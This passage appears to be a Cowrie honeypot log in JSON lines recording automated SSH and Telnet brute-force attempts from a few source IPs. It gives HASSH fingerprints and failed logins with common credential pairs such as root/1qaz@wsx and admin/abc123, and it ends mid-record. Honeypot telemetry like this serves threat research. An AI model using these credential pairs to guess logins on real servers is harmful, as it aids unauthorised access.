{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39902,"dst_ip":"10.17.0.5","dst_port":22,"session":"790b7992e012","protocol":"ssh","message":"New connection: 192.109.200.78:39902 (10.17.0.5:22) [session: 790b7992e012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:41.883205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:41.927890Z","src_ip":"192.109.200.78","session":"790b7992e012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":56994,"dst_ip":"159.203.135.109","dst_port":23,"session":"5066a9c578ec","protocol":"telnet","message":"New connection: 103.249.87.183:56994 (159.203.135.109:23) [session: 5066a9c578ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:41.982117Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:42.121478Z","src_ip":"192.109.200.78","session":"790b7992e012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123","message":"login attempt [admin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:42.389054Z","src_ip":"192.109.200.78","session":"790b7992e012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:43.473283Z","src_ip":"192.109.200.78","session":"790b7992e012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39916,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e47a1e4622c","protocol":"ssh","message":"New connection: 192.109.200.78:39916 (10.17.0.5:22) [session: 0e47a1e4622c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:45.485975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:45.489686Z","src_ip":"192.109.200.78","session":"0e47a1e4622c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:45.572409Z","src_ip":"192.109.200.78","session":"0e47a1e4622c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"root","message":"login attempt [bob/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:45.814782Z","src_ip":"192.109.200.78","session":"0e47a1e4622c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:46.897412Z","src_ip":"192.109.200.78","session":"0e47a1e4622c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39922,"dst_ip":"10.17.0.5","dst_port":22,"session":"a120eaa7132d","protocol":"ssh","message":"New connection: 192.109.200.78:39922 (10.17.0.5:22) [session: a120eaa7132d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:48.791724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:48.831471Z","src_ip":"192.109.200.78","session":"a120eaa7132d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:49.049878Z","src_ip":"192.109.200.78","session":"a120eaa7132d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:49.315541Z","src_ip":"192.109.200.78","session":"a120eaa7132d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:50.398959Z","src_ip":"192.109.200.78","session":"a120eaa7132d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":58956,"dst_ip":"159.203.135.109","dst_port":22,"session":"633723c3fe24","protocol":"ssh","message":"New connection: 92.207.4.157:58956 (159.203.135.109:22) [session: 633723c3fe24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:52.268071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:52.271438Z","src_ip":"92.207.4.157","session":"633723c3fe24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:52.366598Z","src_ip":"92.207.4.157","session":"633723c3fe24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42848,"dst_ip":"10.17.0.5","dst_port":22,"session":"8be2ee86d35c","protocol":"ssh","message":"New connection: 192.109.200.78:42848 (10.17.0.5:22) [session: 8be2ee86d35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:52.524888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:52.528990Z","src_ip":"192.109.200.78","session":"8be2ee86d35c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:52.609456Z","src_ip":"192.109.200.78","session":"8be2ee86d35c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest2","password":"ftptest2","message":"login attempt [ftptest2/ftptest2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:52.766660Z","src_ip":"92.207.4.157","session":"633723c3fe24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:52.853107Z","src_ip":"192.109.200.78","session":"8be2ee86d35c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:53.862146Z","src_ip":"92.207.4.157","session":"633723c3fe24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:53.935888Z","src_ip":"192.109.200.78","session":"8be2ee86d35c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42864,"dst_ip":"10.17.0.5","dst_port":22,"session":"19b563ff944d","protocol":"ssh","message":"New connection: 192.109.200.78:42864 (10.17.0.5:22) [session: 19b563ff944d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:55.926985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:55.934765Z","src_ip":"192.109.200.78","session":"19b563ff944d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:56.016091Z","src_ip":"192.109.200.78","session":"19b563ff944d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:56.261685Z","src_ip":"192.109.200.78","session":"19b563ff944d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:57.346116Z","src_ip":"192.109.200.78","session":"19b563ff944d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":38674,"dst_ip":"159.203.135.109","dst_port":22,"session":"b39c55958bdf","protocol":"ssh","message":"New connection: 152.32.171.213:38674 (159.203.135.109:22) [session: b39c55958bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:59.144607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:59.148295Z","src_ip":"152.32.171.213","session":"b39c55958bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42866,"dst_ip":"10.17.0.5","dst_port":22,"session":"f51fec32f315","protocol":"ssh","message":"New connection: 192.109.200.78:42866 (10.17.0.5:22) [session: f51fec32f315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:59.158404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:59.201459Z","src_ip":"192.109.200.78","session":"f51fec32f315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:59.365880Z","src_ip":"152.32.171.213","session":"b39c55958bdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:59.411069Z","src_ip":"192.109.200.78","session":"f51fec32f315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:59.817295Z","src_ip":"192.109.200.78","session":"f51fec32f315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"google123","message":"login attempt [root/google123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:00.273268Z","src_ip":"152.32.171.213","session":"b39c55958bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:00.900955Z","src_ip":"192.109.200.78","session":"f51fec32f315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:01.495044Z","src_ip":"152.32.171.213","session":"b39c55958bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53222,"dst_ip":"10.17.0.5","dst_port":22,"session":"54feb09d7570","protocol":"ssh","message":"New connection: 192.109.200.78:53222 (10.17.0.5:22) [session: 54feb09d7570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:02.785345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:02.789068Z","src_ip":"192.109.200.78","session":"54feb09d7570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","